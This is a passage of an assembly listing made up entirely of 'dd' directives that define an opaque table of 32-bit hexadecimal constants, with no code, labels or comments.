dd 0DCEED7A6h, 6D00FCDAh, 0B75F0743h, 89139460h, 92B1709Eh
dd 0FFF842CFh, 19FCFAA3h, 0A90CD83Fh, 0A232970Bh, 43469FC7h
dd 41A35F58h, 6425C876h, 3A573F35h, 48C5130Ah, 6AE2110Ah
dd 98F90FB0h, 5BCE0CA8h, 13472C1Dh, 3D2ACEEBh, 2B2FBA6Dh
dd 6B3C8A98h, 0B2E08342h, 0FB9A54FFh, 0CF3BA51Eh, 17FEAD60h
dd 0A236160h, 0F5C3AC3Ah, 8AEBEF81h, 40113A8Bh, 65117298h
dd 0F209C01h, 0A94D1A21h, 97A09EB3h, 68123969h, 90A32204h
dd 0A55BFCB1h, 0AB423B0Ah, 91420EEDh, 0D000BFD1h, 387E4EFBh
dd 37A9C1Ch, 0E3C0C779h, 0A8DA5F58h, 42B2F294h, 0FE7FE900h
dd 0E159E6BDh, 2F86CC9Dh, 0E402D7F1h, 0D0BA8E51h, 0BFB668Bh
dd 0AAB3BCB3h, 3C969186h, 0D9BF85FDh, 2DFBE77Fh, 77830202h
dd 0D5A4D238h, 2A9AD009h, 0D2BB2F26h, 93E210E4h, 28340BCEh
dd 2C765AEAh, 14AD2B86h, 1B58B3D5h, 0E949459h, 0DF9659C4h
dd 25F45394h, 0FD175F41h, 2DD8144Fh, 247480DBh, 0AB0C683Fh
dd 0A0DFC87Fh, 0AD30846Eh, 1E696C30h, 51423FACh, 1E530D02h
dd 0E44813B0h, 7340B325h, 0C33AEBEEh, 4D2D26C6h, 7B104446h
dd 9DA1EECDh, 0A4972CFAh, 260F1645h, 4AA94AE4h, 18315989h
dd 9AFC906Fh, 3993823Bh, 0B518081h, 596D6ABDh, 586909A5h
dd 0A32A18C0h, 0EA6201EEh, 0A1029597h, 8044CE42h, 6BF65EB1h
dd 0B5F20F6Ah, 0F7AB70EBh, 3AF07EEEh, 0FA997BA1h, 3BAB88B3h
dd 895804C7h, 129FB71Ch, 14D26507h, 0CB53C0B4h, 61D3318Ch
dd 0F3D056D8h, 4693FC53h, 17B93123h, 0D1160C9Ch, 2F1B2065h
dd 0BAA4E0A2h, 565A46A8h, 0D7E0733Fh, 6880222Fh, 68512E0Bh
dd 0B496BE7Eh, 0FE67356Eh, 0B3F8C887h, 0B5FE9C5Ch, 0F4CA3F2h
dd 9A66039h, 0D86135DCh, 99B9F6CAh, 26052354h, 3D0331FAh
dd 965C7E8Ah, 88D42F82h, 0D6772816h, 7C2BC4D8h, 930B0117h
dd 4668E7B7h, 91EB743Bh, 0B8A530C5h, 3C2C5D20h, 1D168C7Fh
dd 89E1BA5Eh, 2F917D73h, 21851E4Ch, 0D806D0FBh, 0D30302A5h
dd 4BBBB4BDh, 0D2F5A340h, 0E5C80EAh, 0B61C689Bh, 0D181CF7Fh
dd 40866D14h, 44FE4CEAh, 0F3E3D8A4h, 28E10FDCh, 71564D01h
dd 4B9747FBh, 54F3EBF0h, 13D3B0EDh, 8D3E41CFh, 41FCB0FDh
dd 9DAD4B2Eh, 0B576A62Ch, 38A9AA9Eh, 0F173D98Bh, 4C1B5302h
dd 7ABFB4F2h, 0FD10DC72h, 0BE4A53E7h, 512FF8A2h, 4CBAF52Fh
dd 22D673AAh, 0A8079159h, 71D2F4E8h, 7AB4E3Ah, 0E6D432CCh
dd 43FA71E0h, 0BFA0DE68h, 0DA6B0D7Ah, 0C3ECB90Ch, 0C2EDE453h
dd 0E0421591h, 27744CBCh, 83138C68h, 33B08441h, 8495EF94h
dd 0FECB4AB9h, 0BAA42CD7h, 0FE847950h, 3A1E7E0Ch, 0BF72C07Ah
dd 62775968h, 3777E0DFh, 5C3CC9DFh, 17839C4Ah, 0E1E70ABh
dd 94D82E08h, 21E5D07Ch, 0C34E5D75h, 0D829611Ch, 0F443FE41h
dd 0E1674036h, 0C3CF0CDEh, 796A5ECBh, 5095434Bh, 45748263h
dd 80E1DC9Ah, 6CB6E66Bh, 0DC5FCB13h, 45357D57h, 8A62AEFCh
dd 0AFB65CECh, 39325221h, 0C8EEEA8h, 0F2FF72E5h, 0C9B6631Fh
dd 5438682Ch, 1D860A71h, 65C9F65Eh, 5966B619h, 61B3A146h
dd 0AD443277h, 5259D129h, 90F79B74h, 12F90F63h, 0D26D47ADh
dd 1525ECEEh, 5D549A6h, 7A00D757h, 51124324h, 6981DC75h
dd 9A3E87E5h, 236BEC22h, 14953709h, 7D246B7h, 0F960C0AAh
dd 7B3313BFh, 77A7609Eh, 0AE87EF67h, 7EA3B503h, 0E5FCB853h
dd 53B34A68h, 7E8EB320h, 0BE10BC73h, 0C3F5E684h, 0E407275Ah
dd 0B0E1406Eh, 6DE46AAh, 4FEB7385h, 0F2FF8821h, 6134323Ch
dd 140CB66Eh, 0E849C658h, 9F773B41h, 0CF91C991h, 92F5CFC1h
dd 0DB484278h, 0BA109490h, 0F9BE4211h, 0AD2B6FBDh, 12986057h
dd 392FFFF6h, 0D29B5750h, 0EA3ECC34h, 0B9EF622Ah, 47E42114h
dd 0A6315A46h, 0FEB599C4h, 0E434B4C6h, 125BA6BBh, 0E174136Fh
dd 0B0B5E9BDh, 915B3C3Eh, 0E87B0DB1h, 0C0FBD55Ch, 0B15F6320h
dd 0A6E1974Ah, 0A8864E16h, 0A9E7B64Fh, 5A2E6148h, 3BED2816h
dd 18086E79h, 396E6CBCh, 26881639h, 3BA1AFACh, 43603017h
dd 0A3B69449h, 0D0024769h, 591FA165h, 870555B6h, 8DC2E4C4h
dd 667098E4h, 2AFCB64Fh, 0D92578h, 9F05D6BBh, 7B5265BBh
dd 0F92C40E2h, 34E87E42h, 82F1B3EAh, 0E5D5D93Ch, 6F16E518h
dd 0CA3AC5D8h, 36051C11h, 1C550AC4h, 0FCF9C1AEh, 0C710E629h
dd 0BC3E537Fh, 2DBA512Fh, 0A1BED06Bh, 0C85FE402h, 3651B649h
dd 7AE66074h, 0B4ED42C0h, 90AC3BF0h, 44077291h, 1795F8A7h
dd 8E499F94h, 46A71C0Dh, 0D2B4D66h, 1FB7E360h, 5E42D13Ah
dd 0E4D2A780h, 97B61843h, 5D19086Eh, 0B2F0297Eh, 295FEB1Bh
dd 0ECF3D303h, 491C726Eh, 41D5B02Ch, 0BB4C1299h, 608FD13Fh
dd 0EDA06D8Ah, 0E3B7EE56h, 27A80181h, 0FDB1C851h, 7599FCCFh
dd 0EEEF3FACh, 5C5F26F6h, 0EB763701h, 2A71F436h, 0D20B2D6h
dd 3DA582A5h, 5D61A971h, 42C6862Bh, 0C56C3A03h, 1EBB897Eh
dd 0D4EC8BA9h, 0A7F037AAh, 683C0524h, 0A134445Eh, 3314E953h
dd 0DE55558h, 17048F22h, 219A01C5h, 0E9671349h, 0C56FF6C9h
dd 2D437945h, 4C8B2D9Bh, 26EB18D6h, 85869F6Fh, 0A7106E7Eh
dd 0A7E9288Bh, 0ECDD050Ch, 8BAAB253h, 631EEFFCh, 7D4FB9BFh
dd 827A70F4h, 4391F795h, 0B317CD90h, 7CAE09ECh, 0CEDD36EBh
dd 56CBA5A9h, 0AAC75A8Ah, 25D48C95h, 40EC38EBh, 9D1D4B66h
dd 77BF32C3h, 74A63E63h, 829F8E18h, 0B5EC663Bh, 5B730544h
dd 52ACD773h, 352565Dh, 577C6C4Ah, 3B61A41h, 11DF2770h
dd 1943111Eh, 0D7BD7A8h, 62938CC5h, 48BD5FC8h, 0FD090199h
dd 4333AFD8h, 0A5862AB3h, 0AAE9575h, 0E72049C0h, 0BCD15E8Dh
dd 0B903620Ch, 0A2ECC449h, 0E4DE2C83h, 3D08A527h, 3419F0DEh
dd 7DCF201Dh, 0AB70370Ch, 3C8D0F69h, 119877FBh, 7FAF9FACh
dd 6545D77Ah, 6A03633Dh, 1DFB8942h, 782C12D0h, 44863A6Bh
dd 114A995Ch, 0E0BC0CA4h, 48E7C5A3h, 0A954ED99h, 3B9541B2h
dd 0B0C589BFh, 0DE5B1F01h
dd 31A0E4Ah, 0F88147D5h, 8B4E01EFh, 0ABB72979h, 9AB9E56Fh
dd 3CC721F3h, 9EDE28ABh, 208449Dh, 6CBA0F71h, 0B1EE14AAh
dd 87528D3Ch, 4193474Fh, 91CE7809h, 0A433ABBBh, 0B668F197h
dd 67D96704h, 4A52118Ah, 68390A2Ch, 1DB31388h, 74D5ADB8h
dd 16BF4BBFh, 1A11B934h, 0EA3EAFFDh, 8131F136h, 64A5DB8Dh
dd 776DB461h, 75D53726h, 0AFD30B48h, 65C20F20h, 135AF273h
dd 39FA690Eh, 9A141F30h, 61B19F7Eh, 437E903Ch, 9D8CD5CCh
dd 0B4BC7CFBh, 0FD8A8170h, 2D8E7238h, 10734EC5h, 0EA093B35h
dd 6259BC0Bh, 0F69536B1h, 85562166h, 7B10E851h, 0C1629FBEh
dd 666E13F4h, 6D36A453h, 24319BDh, 0B1260F3Dh, 4E40C4Ah
dd 0EBCD5019h, 843BA089h, 3A15F597h, 8D1E5E8Fh, 3AF15493h
dd 82E6F93Bh, 0E4243AAAh, 0D12CCF31h, 9391F287h, 7FBF1911h
dd 0E3CF651Ah, 124FD70Ah, 42ED6F69h, 6AA426EEh, 0FB7F4EECh
dd 388D1340h, 0A7EE4D1h, 0E484E251h, 9B36ADF7h, 0DD35DCDBh
dd 0B6BDD54Ah, 0B3E87037h, 12ACEC7Ch, 0E2457D25h, 7AD93BC8h
dd 3C054DE7h, 65DAB09Dh, 0E2A3C7CCh, 3CAD6EAAh, 0A769B643h
dd 5AC3DCB9h, 3352B246h, 8BB90836h, 4695A219h, 0C643564Bh
dd 0D87D5F55h, 2D3D3F15h, 0E7A2E2A6h, 40AF5989h, 0BB382DCCh
dd 0AF85FEF4h, 0B7CCA0CBh, 0A968871Ch, 0F3C4D98h, 0C42E441Dh
dd 0EFCAAE1Ah, 2DBACAB2h, 0B8BA97AEh, 0DF2274CCh, 0A9536648h
dd 0AAF1A826h, 190536D6h, 750D1FD0h, 0BD82645Ch, 60E03B33h
dd 44962C82h, 8FC39236h, 23927364h, 77A9BA4Ah, 0EE0E05FCh
dd 0B692864Bh, 537E26FBh, 0F0A8BD2Bh, 0A6C8C0h, 0BB469121h
dd 6D73264Eh, 7315B39Ch, 94E357E1h, 4CE4D313h, 2AC212Eh
dd 2BBFA89Ch, 499AF0E1h, 7AF9F085h, 444264E2h, 74F07B5h
dd 156429F0h, 59E15C85h, 85160AA3h, 9E413EEAh, 7D043108h
dd 6A359E44h, 769D625Bh, 0B61300EBh, 0F7BA3C16h, 63EAA63Bh
dd 83E55B20h, 0F0215B90h, 43F3C278h, 9DC9390h, 78B31784h
dd 77561D4Ch, 0AC99027h, 8FC02C0h, 5D07F847h, 13AE4946h
dd 45A94894h, 0CDA608AAh, 7E3981Ch, 0F5BF8F6h, 0A8501D10h
dd 0C645AFAFh, 4150534Fh, 0AECC526h, 6D1CCA1Ah, 38902DD4h
dd 4A812693h, 3AFD6090h, 6D1AF5E1h, 0AF85E059h, 0F27F32A6h
dd 0CF7C5430h, 2795AC47h, 0A3B8DF3Ah, 76349D48h, 6D6B2D82h
dd 0FD349F28h, 84E724DFh, 0ED4B4E8Ch, 0F37FD182h, 5F9FB86Eh
dd 0C87AAB45h, 0E530677Ch, 0FB89D063h, 379C8140h, 127ADFA4h
dd 0B4DBB662h, 27C5A912h, 0E72AD5D4h, 6C932C82h, 0D07DDE8Ah
dd 68099EBCh, 4DF3522Eh, 0E4AF7E59h, 0ABA785B9h, 0B5FF3530h
dd 8D67D8E2h, 87A2D08Dh, 1A93B85Bh, 80BE667Ah, 270C5373h
dd 0BAD3D4DCh, 841F3457h, 565D53AFh, 23ABEE5Eh, 0E11BBBF9h
dd 9236D359h, 0B00EAA6Eh, 3F9EBA7Bh, 4DEE60E1h, 0CF9C264Ch
dd 175BC829h, 0E0C18782h, 34273FF6h, 87CC70CFh, 0EC6FFBE7h
dd 7B51EC3Ch, 60208FA7h, 5CDF361Eh, 0A6925AB8h, 0EFD9A4F0h
dd 727BDD6Ah, 20AAB34h, 79F1E6A3h, 0A10AE955h, 0D402B75Dh
dd 7910DA4Ah, 0E2129CBh, 9F65F62Ch, 18F3FBE1h, 81558C0Ah
dd 5472A2Bh, 0A46966ECh, 7B7D063Fh, 7EE4142Dh, 63BCD920h
dd 0E1105072h, 1100AF03h, 0DA7EC8DBh, 82A75B1Fh, 436BCC48h
dd 3F236F43h, 6CBC43BDh, 56DD7754h, 0BD0C2ABBh, 36C68442h
dd 49B265ACh, 27047D5Bh, 0FD0147FBh, 90173D17h, 9CDCF74Dh
dd 60CC120Eh, 0B54ACE7Ah, 0DB42E25Eh, 0BA1CC45Bh, 4D9577C1h
dd 75E76808h, 0C393676Ch, 0DFE0CACDh, 76C1F616h, 81E6E23Ah
dd 362FEBD2h, 2A99BF3Bh, 9DE7D526h, 0D890A28Eh, 0A3B7039Ch
dd 67716A21h, 88D2B89Fh, 5CB47D99h, 2E799042h, 8B778055h
dd 3BCAA628h, 0EAD64130h, 53F5435Dh, 0B9DE6462h, 0DE830A4Dh
dd 0EF813B2h, 5662EFB6h, 1566458h, 42215EC5h, 0E7493B1Ah
dd 92702EF7h, 8BD62446h, 0D674B0CAh, 5431D580h, 51D35E7Bh
dd 0B7915C76h, 9904940Ah, 0B8321CD0h, 0E62160E4h, 771D10D3h
dd 0ED7C70BEh, 653620B0h, 0BB3F6751h, 9957FA0h, 0EA21632Fh
dd 43602DEh, 0FE38A3F2h, 26A1AA34h, 7980EE36h, 39C01229h
dd 0A92D40A1h, 14F7970Fh, 268CCEE9h, 3DD44010h, 0D0CB2AEEh
dd 5EF7DBF1h, 254A0B36h, 9037858h, 11670CDAh, 3C0F868Ch
dd 486F4A46h, 0E4A61D3Eh, 0E4BDA7D9h, 6B4AFC4Fh, 7BECCD8h
dd 73539200h, 901E6EEDh, 5B3AD19Ah, 5E51F323h, 13CCC078h
dd 1E08A313h, 19DF803Eh, 4658BC0Eh, 0BD0F5812h, 2782C0FAh
dd 71623933h, 0AD6A8733h, 0E49D1155h, 0DF5D7515h, 71DADCA2h
dd 0D108851Bh, 0D596FD99h, 62E8CAFAh, 0C9238A1Fh, 896EFB87h
dd 0CCED63EDh, 0AC8CD7B4h, 2975774Dh, 54963C7Ch, 8A036750h
dd 0E0E839FDh, 56525507h, 0BB3D9EE8h, 170BC7AFh, 0F00CD332h
dd 0EFEB7B31h, 78B78C22h, 0FC2776D5h, 4FA0EAC8h, 81705475h
dd 0BD6DC867h, 4939B9E6h, 0B4F1D069h, 53ECE896h, 0E2EED201h
dd 8BB9F110h, 0B7A6316h, 0EC08B187h, 0F8502738h, 0BE345E45h
dd 396806E6h, 0B4E4C8B4h, 0DED87F04h, 7FB5AA8Eh, 2312D165h
dd 0ED59137Ah, 57F97BA7h, 1643902Fh, 0BB7A147Fh, 6381B6EEh
dd 94706601h, 0A797789Dh, 0ED9D8F32h, 466E948Ch, 0DB256C4Fh
dd 0AC6D55A6h, 978B60B2h, 37593CD8h, 297EFA92h, 1CD42027h
dd 8F9D30CFh, 0D660D2E8h, 0DA5D714Bh, 0D120E285h, 0D7792806h
dd 0CDE8A2FAh, 1C625AC6h, 0AECF9757h, 0ACFC548Ah, 9CE768E3h
dd 303796FBh, 2B915FDh, 4A3E47D7h, 374D49F4h, 691974DCh
dd 0ED02390Dh, 644BE5Dh, 0C97F286Dh, 61EFCC09h, 0F13A2726h
dd 88D43CD6h, 0E51C458Dh, 0F4BD7241h, 3B2EE3Ch, 2CA3539Eh
dd 488DA978h, 8B785D1h, 0DE05D248h, 0A5241E52h, 9D4C53B1h
dd 0D34A0225h, 403D5DD7h, 0C2E6B61Fh, 0DAEB1AA4h, 3B534AACh
dd 255499Fh, 0F851A430h, 9625DBC9h, 0EC808BBAh, 48978BEAh
dd 1B8FB1BDh, 0D3B159BDh, 0BBE44E2Eh, 90D8E585h, 0F762977Dh
dd 5B68B782h, 6424B00Bh, 0C47734AFh, 2FC5DF7Eh, 6AD46A11h
dd 9F5D027Bh, 3E379A95h, 3A1E16A9h, 19469FC0h, 9532337Ah
dd 0DE4210A5h, 8B226E30h, 7D3BF7EEh, 0DBAA0CECh, 79F91CBDh
dd 4C7F8FB5h, 5D39773Ah, 6F1F17Bh, 0FFEC0578h, 0EE973515h
dd 0F9573D5Eh, 0DBF53CCAh, 913AAC76h, 0B3355Bh, 0CCD31D7Fh
dd 8E1A208Dh, 36FA144h, 0F4A55334h, 9A67381h, 0DFC247F6h
dd 899C9E3Fh, 4D4232CFh, 69315334h, 1DA50C50h, 0D991B6E8h
dd 7BCD5505h, 3621D4DAh, 0A0B20FACh, 25582B31h, 605BFC24h
dd 80E4CDF2h, 0D670CC1Dh, 232DECC4h, 0E1D0737h, 69B7A272h
dd 6EED94FAh, 14348BCDh, 73D62508h, 0C690C380h, 0E309B241h
dd 83CE9CBCh, 38D5AA87h, 0D6D32630h, 89DB7B53h, 763F995Bh
dd 92A60A8Ch, 251651B0h, 6B87929Dh, 44E9250Fh, 495D4A48h
dd 690B1BF7h, 469487C9h, 5CD6487Bh, 0BBFB420Ah, 90812092h
dd 0F428B3FBh, 0EA2B0264h, 0F9068425h, 30CB3D3Dh, 40780806h
dd 0E361C7DFh, 0A0DCBCC8h, 0D7759A24h, 52BE1FF0h, 7297CEAh
dd 0FB73939Bh, 0DB75DE10h, 0AAC8437Ah, 9E31072h, 0F428D4EDh
dd 968EE0C6h, 2404483Bh, 0FFF48664h, 0DD8D324h, 44B017AFh
dd 2ABC7A15h, 0DCA2F4B0h, 9FDC0A00h, 2303284Fh, 800F4C9Eh
dd 0F4544746h, 0ACE1625Ah, 37FDF535h, 0E3A65A31h, 897EA674h
dd 68D17D04h, 0BC9E97DAh
dd 14BF10C6h, 979D738Dh, 0F02D4CCEh, 19E56F7Eh, 72BACA6Fh
dd 9DE445B2h, 0C95C0FECh, 601F57FAh, 5E6DC11Ch, 759D678Fh
dd 132C36FFh, 0D484588Fh, 3FD01D5h, 0B0EF043Eh, 0A272B73Eh
dd 0C3C9FCABh, 9DC00678h, 973E47Bh, 0A668FB03h, 7FD58478h
dd 0FDE0088Fh, 0F6EA2E73h, 48BD100Dh, 41E32611h, 145FD35Eh
dd 464BAB2Dh, 0F276CB14h, 8F0360A2h, 3E9A23B2h, 8856C2C7h
dd 0F098E74Ch, 616244BDh, 0D7DD87FDh, 8C4F088Dh, 6E04E70Eh
dd 0E18EEA06h, 0A6FA752h, 7ED87C81h, 0B99CBB8Ah, 72F8ED1h
dd 0C3CAE73h, 0FD004F5Dh, 6AD797B8h, 13BF31E6h, 8AF78C37h
dd 52381E00h, 0C525556Fh, 488C8337h, 0D35A7C15h, 69504393h
dd 0AB8993B7h, 6E6053Bh, 8DE445F9h, 0EC83A54Fh, 0D67B2867h
dd 93BF9CA0h, 0C6004A80h, 3C6212A7h, 84507222h, 11755885h
dd 3DB1FFF4h, 4A44134Bh, 25E52F0Ah, 5F021BFDh, 44B79FE4h
dd 50F549DAh, 147A525Dh, 990C3837h, 9D89D8D5h, 0A229FFD6h
dd 538C8508h, 57484E70h, 1DEFFD7Eh, 0A106F328h, 717F9F7h
dd 0A35463C6h, 0A96257C4h, 0F6FF18FDh, 308C2CE0h, 0BC7CB368h
dd 0D51D9DD7h, 0EBCBC317h, 472090CEh, 0EB8536A7h, 3AFFC68Dh
dd 5AF1F3A6h, 5E48B149h, 11E43799h, 19B34B4Ch, 9123A40Dh
dd 5CB11661h, 0E331016Dh, 1957F0B2h, 0DDEE661Eh, 7815879Bh
dd 5EAAF52h, 82C60FE2h, 0C63FF114h, 8A5E960Ch, 0F457EFF3h
dd 794870BEh, 0FB25260Ah, 9D639086h, 272E22AEh, 36746E3Fh
dd 0AB5EE77Dh, 0F7D4FBA1h, 0AAF31B14h, 0C8C47C02h, 0CC294540h
dd 0A545C455h, 7BD660DBh, 0D317B104h, 0DA0F4576h, 3838BAFBh
dd 0A7D55172h, 51B7BA45h, 0A0F5187Ch, 0E408A32Dh, 2141F9BCh
dd 0B7A98D9Dh, 0ED92E07Fh, 18065334h, 904C92DDh, 0E93AF0A0h
dd 841BD682h, 23ADB79Bh, 0CF51511h, 0B7B74E8Ch, 11D0C7A2h
dd 47544C05h, 61069573h, 84A4F4EEh, 86FE505Bh, 0AB58870Eh
dd 0F50A521Ch, 40DE53EAh, 0FAB431A4h, 43244789h, 43D370BBh
dd 542512CAh, 8BA67DADh, 303B2EA2h, 4D6990D9h, 0B8D694EDh
dd 919F768Bh, 7FDF911Eh, 5E319F29h, 268CBC2Ch, 98002438h
dd 372F1FE0h, 0BFECADC8h, 82EB8ACAh, 0E607ADC1h, 7931C309h
dd 0B935E5F9h, 0A6BADFC1h, 2E0E4429h, 0A492E1AFh, 552F5629h
dd 0C9765C63h, 3C0D7655h, 7944C4F7h, 505EF999h, 5F242F4Bh
dd 5B3F40B9h, 9B0C74Fh, 4F0ACE5Ah, 1E49C358h, 476D5948h
dd 0B38176Bh, 8DFD860Eh, 464298DDh, 6513D197h, 834C06B5h
dd 3AAD395Fh, 62B06E02h, 18414070h, 8752CF29h, 51B73572h
dd 98F1BA15h, 578898Ch, 0C7C83C13h, 0B6677F29h, 0D554A6DAh
dd 0EA5C258Dh, 0D7E58E91h, 0C9C99BD6h, 980A3BA9h, 0A97B35D1h
dd 1A699C29h, 86F5CCF8h, 4F71FED0h, 0C378670h, 4FD6E12Eh
dd 6BC94428h, 0B02E59FDh, 0E1C0CB9Ah, 682BD466h, 0E47B6AF2h
dd 508C32B2h, 4FF56DCEh, 0A1C3DE0h, 2F26C937h, 22AD067h
dd 0F49AC206h, 2135E07Ch, 829D9782h, 50542244h, 44BAA643h
dd 84621F70h, 0DADC1AFh, 3CA980FAh, 0F57A87F4h, 0EDD61B1Fh
dd 0AC571516h, 0B6163EA3h, 487EAD14h, 0E91E82DEh, 62FE6C76h
dd 0A35BB431h, 4C566CF5h, 0A155B0A4h, 5643F271h, 0DA4154ABh
dd 4CF5B145h, 0A6B58C25h, 0FC55A9F4h, 0D35968DBh, 0C8CF5AFEh
dd 5A3ACED0h, 6C6EF0B5h, 0BCD610E0h, 9580B081h, 14FD504Ch
dd 71B5D354h, 636159B4h, 0CCB0C234h, 0FAB6DB63h, 0CBB4DDD9h
dd 0E9C768ACh, 0BC013130h, 0A4B9F363h, 77884996h, 0ACB9A8B6h
dd 0DB47E225h, 6A8AAF42h, 0F8112E56h, 6E419860h, 5EDD468Bh
dd 88466517h, 3A636DC7h, 58F90178h, 0AB786702h, 6616C5Fh
dd 31785743h, 4D039A76h, 1705EA1Bh, 0A9BA2FCCh, 0E22656Ah
dd 126CD283h, 0C11F810Ch, 730EA6E9h, 8CEFFE2Ch, 0BCBF2A2Bh
dd 98163C99h, 79AB0F1Dh, 0A1BD51E4h, 1D07D122h, 0EB125699h
dd 726D141Dh, 44D0ABE6h, 0E4980B93h, 99C68A0h, 1E9EA748h
dd 5A6FE317h, 0B835B1CDh, 2FAF6162h, 1AAE264h, 0BF44046Dh
dd 700093BDh, 13E76EAAh, 3BF2FC37h, 28D81D03h, 0B5D192A3h
dd 7BD47CCBh, 0E5BFF8EDh, 0B8629A7Ah, 4C6AB9BCh, 49BD7729h
dd 523D9838h, 0E934A896h, 777C9816h, 0B53CE7FCh, 8E97F439h
dd 0CF31676Ah, 0E371870Bh, 0ACED3DAAh, 7FB5E538h, 0A0ABE054h
dd 0FF5CDFB2h, 472BD022h, 0AC399562h, 5437F810h, 5278A4D8h
dd 421EBDEBh, 0F05DCF06h, 0B40EA845h, 0B81C8223h, 64EDEA52h
dd 7F9CE3DCh, 17BA2CB2h, 0C8F0F36h, 230C5D6h, 0A84F23D5h
dd 0D030AEDCh, 0DB7845D5h, 0A9BAF1B9h, 3C4773D9h, 659D3EF5h
dd 0BDD30933h, 72936625h, 260E9FB5h, 0B7F05AF9h, 6307CBDBh
dd 0B508F3B7h, 0E89C8AD8h, 2631E971h, 0E011D7C1h, 0CAFC927Ah
dd 48FC531Ch, 9E4C6DADh, 0B4A583DBh, 938F7EADh, 71B264A5h
dd 3E52FADh, 6AE64F51h, 69A39742h, 0CB53E9D6h, 57315B62h
dd 5482E1D0h, 58DA7F44h, 243CC07Dh, 0E3AEF268h, 24F5BB99h
dd 0EEED1A04h, 0A540E91h, 0DB1CB41Dh, 0F55E75F6h, 0A3A683BEh
dd 88930ACBh, 0A8A2BB6Bh, 3B11F854h, 6854A68Eh, 53FF2118h
dd 6E278B7Eh, 8EC5F052h, 0D3ABEE28h, 0C7757FBDh, 0E8F06E75h
dd 4A01CCF1h, 54261EF2h, 5ACB1D65h, 0AE7DF3C2h, 0C6063ABBh
dd 6847A29Ah, 4383F25Dh, 0DA6504BCh, 47D0903Fh, 8F26587Dh
dd 8EC66D27h, 758046D0h, 14342782h, 66EE978h, 29891FAh
dd 0F34064D7h, 0DF0A1C90h, 9EE498B6h, 9F0FE4BEh, 0B0FE3A71h
dd 2D99AA68h, 0F456F097h, 0C96CDD27h, 0A06363F4h, 1BA3AD84h
dd 0ABBAC823h, 0B4290BB3h, 0E0A79664h, 0A799EACBh, 1483026Dh
dd 0DEB19F70h, 0A0DC9064h, 11C1402Fh, 0E5D85567h, 0A2AC470Ch
dd 5C364966h, 1064DF34h, 0A3FECE51h, 2DFE7248h, 6E29CF03h
dd 8A69C55Fh, 2561FA63h, 73C6053Dh, 93F2AFDCh, 78886FEFh
dd 6FD1C793h, 0A270D89Dh, 103F748Eh, 0D71D27C4h, 0CF4C05C7h
dd 0BFADC1B8h, 0DCC31151h, 4F755236h, 0F1930047h, 9D9E2A05h
dd 1398BFF0h, 0AE6FB81Ah, 36D9FB03h, 0F55F8801h, 0F2908ABh
dd 749182D5h, 20B58F35h, 21F4E2A5h, 0AC9F1B28h, 1934E9D9h
dd 59EF036Eh, 8661EFB0h, 0BCA518F4h, 5670C282h, 0F0A5A57Dh
dd 0A363775Ah, 0AAFE1F74h, 1AC1497Fh, 7F9EE7BDh, 9384F91h
dd 5F1514F7h, 1550ECC7h, 0D5D7AA80h, 3119B765h, 0A2FB066h
dd 8155A981h, 5E1B7DB3h, 8481926Bh, 0B160F08Eh, 0DA408B67h
dd 342E55F9h, 7A6D2653h, 6F66A88Fh, 4719D896h, 5063DE17h
dd 2FB8B368h, 0D920874Ah, 0EE0E2D51h, 3A73AACDh, 241E3BDEh
dd 4076E79Ch, 532AA46Ch, 48368864h, 9CE8F0BFh, 99F5F536h
dd 65893F63h, 0DF07E77Eh, 8BECA952h, 0C9BDBBD2h, 931225EEh
dd 5AC04482h, 2C0A34C8h, 0E5E90C6Eh, 5733531Eh, 8B5A2186h
dd 0C54B9EB4h, 635C1549h, 0ECF2254Ch, 6911584Dh, 515AA458h
dd 389F4982h, 657F277Ch, 0EC91258Bh, 4F5BDF11h, 3772465Eh
dd 0F0CBF307h, 12DD2210h, 25072D8Fh, 0DD637DF4h, 0DE53D667h
dd 3FEFAC43h, 0B69E8096h, 0D162B3BBh, 18C36AB1h, 5F82DF98h
dd 87B77474h, 4ECEFD94h, 72C7E243h, 5183BF53h, 23EC346Ah
dd 0EE03FD0Ah, 619215AEh, 2FB57035h, 66EC08Ch, 37E4E344h
dd 400D3590h, 9F53E6B9h, 0BDF98DF3h, 3A6C588Ch, 0BD1B2265h
dd 44EEBD2Ah, 2008925Ch, 93544EDCh, 3AEDFC4Bh, 0DAA4A871h
dd 0EE0CDF20h, 39339713h
dd 5460C482h, 747D51EEh, 21E0C374h, 0BC68DF37h, 1E3D5A6Ch
dd 81B4978Ch, 0A6AD7E8Bh, 0E9CB98B3h, 0C48A704Eh, 67130CD7h
dd 9496AB9h, 188EED53h, 4F1D4BBDh, 0E63781A8h, 5083F287h
dd 9FF7AB0Bh, 0E4CD4BEFh, 0E3D72241h, 3C06A473h, 458F6D6Ch
dd 0D102CFE7h, 19853A80h, 0C4775ECAh, 7DFAE8FDh, 0A589D45Ah
dd 7E3D33C4h, 0E98F5525h, 598C8F78h, 83175B31h, 0A6B8A2A0h
dd 1F8A31B6h, 0B439E606h, 0DA243809h, 7E796F55h, 0C1148F36h
dd 3EED0B4Ch, 9DEFB928h, 4AC21444h, 0A7114F70h, 4B808F30h
dd 0AEB845FEh, 7EF76CA7h, 5C497F41h, 0BC1C3147h, 4E263B53h
dd 13014B07h, 70778969h, 0FB65B0C8h, 60DD59A3h, 6B12CE4Dh
dd 0ECA83E6Ch, 11B4E2C5h, 39230656h, 34A41C33h, 0D0E3C368h
dd 0CF8DD62Eh, 48ED1EA5h, 870165E7h, 5982C9E1h, 5C52E59Bh
dd 658C5D18h, 7FC1AF61h, 0E0509CC0h, 0ED55FC24h, 39FEDC04h
dd 8C16A8A8h, 0DDED6DECh, 0A0C6942Bh, 31E4347Bh, 0E0729851h
dd 64B7DC27h, 0E2B75938h, 8394AA64h, 0F068C11Bh, 1F78D823h
dd 0EB54D283h, 429084F9h, 13A2D105h, 40299398h, 23BD9277h
dd 0C4C5E205h, 0AB4C0BCFh, 5CE2CBF3h, 14F97A51h, 0E758981Dh
dd 2524EEA7h, 615F628h, 33A89DF7h, 6110792Ch, 5499AA06h
dd 47ACBF5Fh, 0ECB98D83h, 33B250F4h, 70148A00h, 21A66A82h
dd 75E299BCh, 0EE6BF0C1h, 4BEC20D4h, 5A3D02F6h, 0EB831347h
dd 5A355747h, 84485674h, 363F3CA6h, 7D89A4F4h, 83D70AB3h
dd 0F4577C97h, 7709D30Dh, 0C302914Eh, 0CB94BE41h, 20E8CFF0h
dd 0DA567551h, 0A358EE5Ah, 5B48E2D2h, 98ECBF55h, 2894DD72h
dd 2E959E3Eh, 2D8DE161h, 0B39748F4h, 0C596F3DCh, 5A8D1D4Eh
dd 912F69C2h, 0A070694Fh, 0C03C804Dh, 429CC3C5h, 77696310h
